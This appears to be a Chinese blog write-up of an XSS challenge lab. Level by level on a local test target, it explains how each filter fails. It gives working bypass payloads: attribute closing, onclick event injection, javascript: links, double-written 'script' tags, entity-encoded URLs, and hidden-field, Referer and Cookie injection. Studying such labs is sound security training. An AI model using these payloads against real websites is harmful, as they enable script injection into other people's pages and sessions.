XSS挑战赛实战演练

一.文本解析为HTML

观察到name的参数为注入点,且网站并未对用户输入进行过滤

二.Input标签value注入

当语句放入value属性中,默认不执行,想办法进行闭合,对input标签进行闭合

<input name=keyword value="<script>alert(1)</script>">

<input name=keyword value=""><script>alert(1)</script>"> 最后多余的">被兼容

三.htmlspecialchars()的缺陷

源代码显示<input name=keyword value='&lt;script&gt;alert(1)&lt;/script&gt;'>

源代码中使用htmlspecialchars函数,对特殊符号进行转义,但单引号'没有被转义,考虑事件注入

四.没有过滤双引号

观察到源代码对<>直接进行了过滤,没有使用函数,所以闭合掉",注入事件

<input name=keyword value="" onclick="alert(1)">

五.href的危险

观察到无论如何<script>始终替换为<scr_ipt>,考虑使用javascript伪协议

<input name=keyword value=""> <a href=javascript:alert(1)>">

六.字符过滤

观察到源代码对很多敏感单词进行替换,但绕过绕的不是浏览器,是过滤器,浏览器对html标签和属性大小写不区分,但过滤器可能没对大小写进行统一

<input name=keyword value=""> <a hr_ef=javascript:alert(1)>">

七.字符串替换,但只替换一次

<input name=keyword value="<>alert(1)</>">

对script等进行过滤,但只过滤一次,可以考虑双写

"> <scscriptript>alert(1)</sscriptcript>

八.URL中的实体

使用unicode编码

实体编码链接:https://www.qqxiuzi.cn/bianma/zifushiti.php

九.对href进行检测

源代码中对href格式进行检测,需要包含http://形式,为不影响注入,加入//进行注释并放在末端

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://">友情链接</a>

十.隐藏表单字段注入

127.0.0.1:90/level10.php?keyword=1&t_link=1&t_history=2&t_sort=3

将值代入发现t_sort的值会被带入,对此参数进行事件注入

<input name="t_sort" value=""onclick="alert(1)" type=text" type="hidden">

十一.referer注入

跳回到未注入前的初状态

burpsuite监听器端口不需要和本地网站端口一样

burpsuite对一般网站可以抓包,面对本地回环网站时无法抓包?

浏览器/系统对本地回环地址的特殊规则:直接绕过代理:默认认为访问本机服务不需要代理

可以修改为127.0.0.1.nip.io:端口号,浏览器当作普通域名走代理

十二.同上
十三.Cookie注入

利用隐藏参数寻找注入点,后续操作同上

累了,后面几关学了再更

相关推荐
东方小月9 小时前
从零开发一个 Coding Agent(四):使用状态机校验大模型事件流
前端·人工智能·后端
Csvn9 小时前
🧩 ESM vs CJS 混用的 7 个「天坑」——从 TypeScript 编译到 Node 与浏览器
前端
Csvn9 小时前
🎯 Web 性能 API 集合:Performance Observer 的 5 个冷门妙用
前端
Csvn10 小时前
深入 React 闭包陷阱:从根源上理解并根治 stale closure
前端
whyfail10 小时前
前端学 Spring Boot(8):接口为什么越用越慢?
前端·spring boot·后端
用户0595401744610 小时前
LangChain 记忆测试踩坑实录:这两个坑让我排查了 4 小时
前端·css
程序员黑豆10 小时前
鸿蒙应用开发:@Monitor 装饰器使用教程
前端·harmonyos
SamChan9011 小时前
在Web应用中集成PDF多语言翻译功能:PDFTranslator API实战指南
前端·python·ai·pdf·yapi·机器翻译
kyriewen11 小时前
AI Agent 9秒删光了生产数据库——我给自己的项目做了5个紧急检查
前端·ai编程·claude
IT_陈寒12 小时前
JavaScript的this又双叒叕让我怀疑人生了
前端·人工智能·后端